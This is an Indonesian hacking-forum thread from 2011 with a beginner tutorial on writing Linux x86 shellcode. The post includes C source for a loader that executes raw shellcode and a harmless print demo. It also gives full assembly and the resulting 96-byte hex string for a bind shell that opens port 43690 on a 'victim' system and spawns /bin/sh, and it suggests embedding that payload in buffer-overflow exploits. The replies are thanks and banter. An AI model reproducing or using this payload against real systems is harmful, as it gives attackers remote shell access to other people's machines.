Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-25-2013, 04:53 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 5 6 7 8 9 ... 15 Next »

[learn]shellcode exploit for beginner

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
[learn]shellcode exploit for beginner
04-09-2011, 11:00 AM (This post was last modified: 04-09-2011 11:03 AM by schumbag.)
Post: #1
schumbag Offline
nothing special about me
***
Posts: 800
Joined: Jan 2010
Reputation: 51
[learn]shellcode exploit for beginner
haaaaaaaaaaaaaai pakabar semwaaa ketawa wah lama gk jumpa iia ngambek
terakhir login di sini kalau gk salah,sekitar 8hari lalu neeh suram
seperti kata peri cantik nofia fitri "Hacking HELL,YEAH!!!"
Lanjut..

Sebelum melangkah lebih jauh perlu saya jelaskan, bahwa sebenarnya shell code saja tidak dapat
berdiri sendiri tanpa ada pemicu a.k.a exploit dari suatu vuln yang dijalankan, namun disini
saya akan tidak akan membahas bagaimana cara membuat exploit, dikarenakan agar tidak melebar
dari pokok bahasan a.k.a OOT juga karena di internet banyak sekali yang membahas tentang
exploit itu sendiri, just google it!

//Tools

Baiklah, kembali lagi ke topik... Untuk membuat shell code ini, anda memerlukan :

[1] *nix varians... (dengan dukungan kernel 2.6.x)
[2] gcc compatible (biasanya sudah ada dalam tiap distro linux)
[3] nasm (bisa unduh di http://sourceforge.net/project/nasm)
[4] sproc.c (modifikasi dari punya cyb3rh3b :P)

Sebagai saran, agar tidak perlu repot-repot, semua perlengkapan diatas bisa anda peroleh di dalam
security distro linux "Backtrack 4 Final" seperti yang saya gunakan pada tutorial kali ini.

- Untuk kode s-proc.c milik cyb3rh3b bisa didapatkan pada blognya di cyb3rh3b.wordpress.com cari
artikel tentang shell code, namun disana mungkin ada sedikit kesalahan yang perlu dikoreksi.. cihuy
- sedangkan untuk kode sproc-modifikasi yang saya pakai, adalah sebagai berikut :

pake C asik

[ root@bt ] $ cat sproc.c
Code:
/*
*   modifying_jessica_biel_naked_in_my_bed.c
*
*   - s-proc.c v0.2a (cyb3rheb, greeting for him)
*   - This is for educational purposes only!
*   - hexa-string converter and compiler for shellcode
*
*   nb: nasm u'r file before usage this code
*   usage : ./sproc -x <file berisi shellcode>  for execute
*      ./sproc -c <file berisi shellcode>  for convert
*
*   I'm not plagiat who are copas (what the meaning of copas?)
*   without put's credit for the author. once again this code is
*   relesed with some modification from original.
*
*   ### USE AT YOUR OWN RISK! ###
*
*/
[code]
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

/*
* Print message function
*/
static void
croack (const char *msg) {
   fprintf(stderr, "%s",msg);
   fflush(stderr);
}
/*
* Usage function
*/
static void
usage (const char *prgnam) {
   fprintf(stderr, "\nJalankan kode : %s -x <file berisi shellcode>",prgnam);
   fprintf(stderr, "\nMengubah kode : %s -c <file berisi shellcode> \n",prgnam);
   fflush(stderr);
   exit(1);
}
/*
* Signal error and bail out.
*/
static void
barf(const char *msg) {
   perror(msg);
   exit(1);
}

/*
* Kode Utama
*/

int
main(int argc, char **argv) {
   FILE      *fp;
   void      *code;
   int      arg;
   int      i;
   int      l;
   int       m = 12; /* dalam satu baris saya buat 12 hexa-char */

   struct stat sbuf;
   long   flen;      /*   Note: assume files are < 2**32 bytes long ;-)  */
   void      (*fptr)(void);

   if (argc < 3) usage (argv[0]);
   if (stat(argv[2],&sbuf)) barf("failed to stat file");
   flen = (long) sbuf.st_size;
   if (!(code = malloc(flen))) barf("failed to grab required memory");
   if (!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
   if (fread(code,1,flen,fp) != flen) barf("failed to slurp file");
   if (fclose(fp)) barf("failed to close file");

   while
     ((arg = getopt(argc,argv,"x:c:")) != -1) {
       switch(arg) {
      case 'x':
         croack("Siap beraksi bozz...\n\n");
         fptr = (void (*)(void)) code;
         (*fptr)();
         break;
      case 'c':
         printf("\n/* The following shellcode is %d bytes long: */\n",flen);
         printf("\nchar shellcode[] = \n");
         l = m;
         for (i=0;i < flen; ++i) {
            if (l >= m) {
               if (i) printf("\"\n");
               printf( "\t\"");
               l=0;
            }
            ++l;
            printf("\\x%02x", ((unsigned char *)code) [i]);
         }
         printf("\";\n\n");

            break;
         default :
            usage(argv[0]);
      }
   }
   return 0;

}

[ root@bt ] $ gcc -o sproc sproc.c
[ root@bt ] $ ./sproc

Oke semua perlengkapan saya anggap telah siap, sekarang tinggal membuat adonan doank...

//Proof Of Concept
Berikut ini langkah-langkah'nya...

1. Tulis kode dalam bahasa assembly, simpan dalam namacode.S
2. Compile kode tersebut dengan nasm >> $ nasm -o contoh contoh.S
3. Untuk menjalankan atau mengetest kode >> $ ./sproc -x contoh
4. Untuk mengetahui dalam bentuk shellcode >> $ ./sproc -c contoh

contoh sederhana adalah sebuah shell code yang akan mencetak kata
"gogodevilzc0de"
yakni berupa keluaran pada layar monitor (STDOUT)

[ root@bt ] $ cat cetak.S

BITS 32
Code:
xor             eax,eax
xor             ebx,ebx
xor             ecx,ecx
xor             edx,edx
jmp short       string
code:
pop             ecx
mov            bl,1
mov            dl,13
mov            al,4
int               0x80
dec             bl
mov            al,1
int               0x80
string:
call            code
db              'gogodevilzc0de'
>> jika dalam bahasa C ( C lagi dech suram ) akan tampaklah kodenya sebagai berikut..

[ root@bt ] $ cat cetak.c
Code:
#include <stdio.h>

int main()
{
   char *str="gogodevilzc0de";

   write(1,str,13);
   exit(1);
   return 0;

}

Mungkin anda berpikir, mengapa perlu tahu code C'nya segala..?
inget sob, sebelum menulis langsung dalam bahasa assembly, kan ada baiknya kita menulis dalam
bahasa C dulu, ya kecuali anda memang bener-bener expert dalam assembly atau bahkan ahli di
reverse engineering? Selain itu shell code banyak memanfaatkan syscall yang sangat familier dengan
bahasa C, kode diatas menggunakan syscall write.
Nah, jadi paham kan, mengapa untuk mencetak saja tidak memakai fungsi "printf" seperti biasa?

Baiklah untuk mengubah kode assembly diatas menjadi shellcode kita lakukan langkah pertama :

[ root@bt ] $ nasm -o cetak cetak.S

nah, sudah tercompile, sekarang kita convert ke dalam bentuk shell-code, tapi seblumnya kita test
dulu apakah sudah berjalan dengan baik?
Code:
[ root@bt ] $ ./sproc -x cetak

Siap beraksi bozz...

gogodevilzc0de
hmmm.... apakah sudah selesai, jadi begitu saja?
anda memang hacker yang baik sekali kalau begitu. masa' setelah berhasil mengexploitasi system korban,
anda hanya ingin memberikan pesan "gogodevilzc0de" di monitor saja?
(bisa jadi sih,, maling)

//camera.....rool and action!!

Dibawah ini ada contoh kode yang akan membuat system target membuka port sesuai dengan keinginan kita,
jadi nanti kita kan lebih mudah mengexploitasinya lebih dalam..

[ root@bt ] $ cat bukaport.S
Code:
BITS 32

xor       eax,eax
xor       ebx,ebx
cdq

push    eax
push    byte    0x1
push    byte    0x2
mov   ecx,esp
inc      bl
mov   al,102
int      0x80
mov   esi,eax   ; store the return value in esi

push   edx
push   long   0xAAAA02AA
mov   ecx,esp
push   byte   0x10
push   ecx
push   esi
mov   ecx,esp

inc      bl
mov   al,102
int      0x80

push   edx
push   esi
mov   ecx,esp
mov   bl,0x4
mov   al,102
int      0x80

push   edx
push   edx
push   esi
mov   ecx,esp
inc      bl
mov   al,102
int      0x80
mov   ebx,eax

xor      ecx,ecx
mov   cl,3
l00p:
dec      cl
mov   al,63
int      0x80
jnz      l00p

push   edx
push   long   0x68732f2f
push   long   0x6e69622f
mov   ebx,esp
push   edx
push   ebx
mov   ecx,esp
mov   al,0x0b
int      0x80

kode assembly diatas akan membuka port 43690 pada system korban, dan tujuan lainnya adalah setelah
kita berhasil membuka koneksi dengan korban, maka kita akan dilempar kesebuah shell..

perhatikan lagi bait terakhir kode diatas..

Code:
push   edx
push   long   0x68732f2f
push   long   0x6e69622f
mov   ebx,esp
push   edx
push   ebx
mov   ecx,esp
mov   al,0x0b
int      0x80

sekarang kita jalankan kodennya hore

[ root@bt ] $ nasm -o bukaport bukaport.S

o0o iia, jangan lupa berubah jadi r00t dulu ya
(masalah buka-bukaan port mah, gak cukup pake privelege user biasa)

[ root@bt ] # ./sproc -x bukaport

Siap beraksi bozz....


apa yang terjadi? kesel

untuk mengetahuinya, jalankan program pemantau port, lihat apa yang terjadi pada system anda..

kemudian untuk melihat bagaimana dalam wujud shellcodenya..

[ root@bt ] $ ./sproc -c bukaport


* The following shellcode is 96 bytes long: */

char shellcode[] =
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1"
"\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xaa\x02"
"\xaa\xaa\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3"
"\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66"
"\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd"
"\x80\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

Dari hasil shellcode diatas, maka nantinya bisa disisipkan pada exploit
(buffer overflow) sebagai finalizing dari penestrasi yang dilakukan...
(untuk tutorial buffer overflow,bisa baca papersnya adek cantik kita asik
putri sitasari yang manis,imut,lucu dan menggemaskan fufufufu ^^v)
dunlutny di sini http://www.exploit-db.com/download_pdf/16115

Sekian, jika ada waktu mungkin akan dilanjutkan dengan bagian selanjutnya, tentang penerapan shell
code pada teknik yang lain..

// Referensi

[1] echo-zine issue 14
[2] http://cyberheb.wordpress.com/
[3] http://google.com/
Find all posts by this user
Quote this message in a reply
 Reputed by :  civo(+1)
04-09-2011, 11:07 AM
Post: #2
civo Offline
./Panah Nanggala\.
**
Moderators
Posts: 2,090
Joined: Jan 2011
Reputation: 65
RE: [learn]shellcode exploit for beginner
:mantab ..ijin buat belajar omz...sekalian ane arsip nih tutornya hmmseneng
Find all posts by this user
Quote this message in a reply
04-09-2011, 11:23 AM
Post: #3
white_newbie Offline
./Devilz 1st Cadet
Posts: 41
Joined: Dec 2010
Reputation: 1
RE: [learn]shellcode exploit for beginner
mantep,langsung di praktekkan ,ijin plajari om,tp nix variannya apa gak bisa klo ngdukung kernel slaen itu om?
Visit this user's website Find all posts by this user
Quote this message in a reply
04-09-2011, 11:25 AM
Post: #4
chaer.newbie Offline
--------------------------
*****
Dewa
Posts: 5,283
Joined: Dec 2009
Reputation: 184
RE: [learn]shellcode exploit for beginner
sadis yeee..wkwkwkkw
Find all posts by this user
Quote this message in a reply
04-09-2011, 11:26 AM
Post: #5
schumbag Offline
nothing special about me
***
Posts: 800
Joined: Jan 2010
Reputation: 51
RE: [learn]shellcode exploit for beginner
(04-09-2011 11:23 AM)white_newbie Wrote:  mantep,langsung di praktekkan ,ijin plajari om,tp nix variannya apa gak bisa klo ngdukung kernel slaen itu om?


[1] *nix varians... (dengan dukungan kernel 2.6.x)

(04-09-2011 11:07 AM)civo Wrote:  :mantab ..ijin buat belajar omz...sekalian ane arsip nih tutornya hmmseneng

silahkan om asik kalau ada yang gk ngerti coba diskusikan di sini wawa
Find all posts by this user
Quote this message in a reply
04-09-2011, 11:37 AM
Post: #6
cuma-cuma Offline
./Devilz Officer
Posts: 51
Joined: Sep 2010
Reputation: 0
RE: [learn]shellcode exploit for beginner
(04-09-2011 11:25 AM)chaer.newbie Wrote:  sadis yeee..wkwkwkkw

plus kejam. ane ijin save gan.
Find all posts by this user
Quote this message in a reply
04-09-2011, 11:40 AM
Post: #7
white_newbie Offline
./Devilz 1st Cadet
Posts: 41
Joined: Dec 2010
Reputation: 1
RE: [learn]shellcode exploit for beginner
hehe,sorry om salah pngrtian tadi,untung msh lengket nih bektrek di HD ,klo pke ubntu susah juga harus nyari dlu prlngkapannya,tq om,lgsung tkp santaisantai
Visit this user's website Find all posts by this user
Quote this message in a reply
04-09-2011, 07:28 PM
Post: #8
n0wn Offline
./Devilz Advisor
Posts: 583
Joined: Dec 2010
Reputation: 9
RE: [learn]shellcode exploit for beginner
hmm hmm

om turun gunung :P

Ko lama amat buat threadnye hmm
Visit this user's website Find all posts by this user
Quote this message in a reply
04-20-2011, 12:44 PM (This post was last modified: 04-20-2011 12:44 PM by schumbag.)
Post: #9
schumbag Offline
nothing special about me
***
Posts: 800
Joined: Jan 2010
Reputation: 51
RE: [learn]shellcode exploit for beginner
(04-09-2011 11:25 AM)chaer.newbie Wrote:  sadis yeee..wkwkwkkw

sadis seperti lirikan mu smangat
(04-09-2011 07:28 PM)n0wn Wrote:  hmm hmm

om turun gunung :P

Ko lama amat buat threadnye hmm

laaaaaaaaaaah kan ente request di fb dah ada 7hari
masa seminggu lama pasrah kan ane juga ngurusin kerjaan cihuy
(04-09-2011 11:37 AM)cuma-cuma Wrote:  
(04-09-2011 11:25 AM)chaer.newbie Wrote:  sadis yeee..wkwkwkkw

plus kejam. ane ijin save gan.

kejam seperti belaianmu cihuy
(04-09-2011 11:40 AM)white_newbie Wrote:  hehe,sorry om salah pngrtian tadi,untung msh lengket nih bektrek di HD ,klo pke ubntu susah juga harus nyari dlu prlngkapannya,tq om,lgsung tkp santaisantai

monggo om silahkan piss ane bisany cm segitu pasrah masih baru belajar juga soalny mewek
Find all posts by this user
Quote this message in a reply
04-20-2011, 02:20 PM
Post: #10
cancer Offline
./Devilz Advisor
Posts: 643
Joined: Dec 2009
Reputation: 10
RE: [learn]shellcode exploit for beginner
wahhhhhhh
lom nyampek otak ku om
ntr ane private di server irc yow om
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] WordPress Exploit (easy-comment-uploads/upload-form.php) XPByte 16 1,044 05-19-2013 05:40 PM
Last Post: oe_c0x
Bug [Tutor] Facebook session Exploit Priv8 abuabu_hat10 20 398 05-19-2013 05:36 PM
Last Post: oe_c0x
  MinaliC Webserver 2.0.0 HTTP Post Exploit cr0security 8 140 04-23-2013 09:07 AM
Last Post: darkmessage
  [Tutor] Exploit windows dengan add on dan dns spoof RieqyNS13 17 336 02-10-2013 08:35 PM
Last Post: cangcimen
Thumbs Up [Tutor] POC + Exploit Wordpress ~ Video Blogging Arbitrary File Upload Regel 11 673 02-02-2013 12:19 AM
Last Post: copaker21
  Butuh Local Exploit Kernel Server AnonymousOpsID 2 164 11-24-2012 08:37 PM
Last Post: AnonymousOpsID
  #DiyWeb Admin Bypass dan Remote file/shell Upload exploit AnonymousOpsID 4 337 11-06-2012 05:07 PM
Last Post: rock_me
Rainbow Kumpulan exploit dan 3000++ tool hacking dvildance 3 345 10-31-2012 10:23 PM
Last Post: jibril
  [Ask] [metasploit] gagal exploit ke komputer target via LAN w0rmil_alazka 10 189 10-29-2012 10:46 AM
Last Post: p0pc0rn
  Menghasilkan Shellcode Menggunakan msfpayload Metasploit Command Instance dvildance 5 119 10-29-2012 01:22 AM
Last Post: civo

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-25-2013, 04:53 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE